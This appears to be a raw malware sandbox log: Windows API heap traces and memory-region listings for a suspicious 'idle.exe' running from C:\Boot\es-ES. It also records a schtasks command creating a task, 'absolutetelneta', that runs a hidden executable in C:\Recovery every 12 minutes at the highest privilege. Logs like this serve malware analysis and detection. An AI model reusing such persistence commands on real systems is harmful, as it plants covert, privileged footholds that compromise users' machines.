[0147.028] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5ab0) returned 0x20 [0147.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ab0 | out: hHeap=0x2a0000) returned 1 [0147.028] GetProcessHeap () returned 0x2a0000 [0147.028] GetProcessHeap () returned 0x2a0000 [0147.028] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ae0) returned 1 [0147.028] GetProcessHeap () returned 0x2a0000 [0147.028] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5ae0) returned 0x20 [0147.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ae0 | out: hHeap=0x2a0000) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba80) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bba80) returned 0x18 [0147.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba80 | out: hHeap=0x2a0000) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b10) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5b10) returned 0x20 [0147.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5b10 | out: hHeap=0x2a0000) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ba0) returned 1 [0147.029] GetProcessHeap () returned 0x2a0000 [0147.029] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5ba0) returned 0x20 [0147.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5ba0 | out: hHeap=0x2a0000) returned 1 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c00) returned 1 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5c00) returned 0x20 [0147.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c00 | out: hHeap=0x2a0000) returned 1 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c60) returned 1 [0147.030] GetProcessHeap () returned 0x2a0000 [0147.030] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5c60) returned 0x20 [0147.031] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c60 | out: hHeap=0x2a0000) returned 1 [0147.031] GetProcessHeap () returned 0x2a0000 [0147.031] GetProcessHeap () returned 0x2a0000 [0147.031] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c90) returned 1 [0147.031] GetProcessHeap () returned 0x2a0000 [0147.031] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5c90) returned 0x20 [0147.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5c90 | out: hHeap=0x2a0000) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbaa0) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bbaa0) returned 0x18 [0147.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bbaa0 | out: hHeap=0x2a0000) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5bd0) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5bd0) returned 0x20 [0147.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5bd0 | out: hHeap=0x2a0000) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.032] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba20) returned 1 [0147.032] GetProcessHeap () returned 0x2a0000 [0147.033] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bba20) returned 0x18 [0147.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bba20 | out: hHeap=0x2a0000) returned 1 [0147.033] exit (_Code=0) Thread: id = 161 os_tid = 0x398 Process: id = "38" image_name = "idle.exe" filename = "c:\\boot\\es-es\\idle.exe" page_root = "0x42027000" os_pid = "0xb8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Boot\\es-ES\\Idle.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3816 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3817 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3818 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3819 start_va = 0x1030000 end_va = 0x1105fff monitored = 1 entry_point = 0x10fd67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 3820 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3821 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3822 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3823 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3824 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3825 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3826 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3827 start_va = 0x320000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3828 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4321 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4322 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4333 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4334 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4335 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4336 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4337 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4338 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4339 start_va = 0x320000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4340 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4341 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4342 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4343 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4344 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4345 start_va = 0x320000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4346 start_va = 0x450000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 4347 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 4348 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4932 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4933 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4934 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4935 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4936 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4937 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4943 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4944 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 4945 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4946 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4947 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5296 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5297 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5298 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 5299 start_va = 0x1110000 end_va = 0x250ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001110000" filename = "" Region: id = 5300 start_va = 0x980000 end_va = 0xa4ffff monitored = 1 entry_point = 0xa4d67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 5301 start_va = 0x980000 end_va = 0xa4ffff monitored = 1 entry_point = 0xa4d67e region_type = mapped_file name = "idle.exe" filename = "\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe") Region: id = 5302 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5303 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5452 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5453 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5454 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5455 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5563 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 5564 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 5565 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5566 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 5567 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5568 start_va = 0x7fe90820000 end_va = 0x7fe908affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5569 start_va = 0x7fe908b0000 end_va = 0x7fe9091ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908b0000" filename = "" Region: id = 5570 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5571 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5572 start_va = 0x980000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5573 start_va = 0xb10000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 5675 start_va = 0xb80000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 5676 start_va = 0xcf0000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 5677 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5678 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5679 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5680 start_va = 0x2510000 end_va = 0x1a50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 5681 start_va = 0x1a510000 end_va = 0x1a88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a510000" filename = "" Region: id = 5682 start_va = 0x980000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5683 start_va = 0xa90000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 5784 start_va = 0xea0000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 5785 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5827 start_va = 0xd80000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 5828 start_va = 0x1a890000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 5829 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6283 start_va = 0x1a990000 end_va = 0x1ac5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6284 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6347 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6348 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6349 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6350 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6351 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6352 start_va = 0x1ac60000 end_va = 0x1aeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac60000" filename = "" Region: id = 6396 start_va = 0x1ac60000 end_va = 0x1ad3efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac60000" filename = "" Region: id = 6397 start_va = 0x1ae30000 end_va = 0x1aeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae30000" filename = "" Region: id = 6398 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6399 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6400 start_va = 0x7fe90920000 end_va = 0x7fe9099ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90920000" filename = "" Region: id = 6437 start_va = 0x7fe909a0000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909a0000" filename = "" Region: id = 6438 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6439 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6453 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6454 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 6480 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 6481 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 6482 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 6483 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Thread: id = 186 os_tid = 0x3a4 [0189.185] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 238 os_tid = 0xaa4 Thread: id = 243 os_tid = 0xab8 [0189.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 263 os_tid = 0x4a4 Process: id = "39" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x411e9000" os_pid = "0x39c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3296 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3297 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3298 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3299 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3300 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3301 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3302 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3303 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3304 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3305 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = 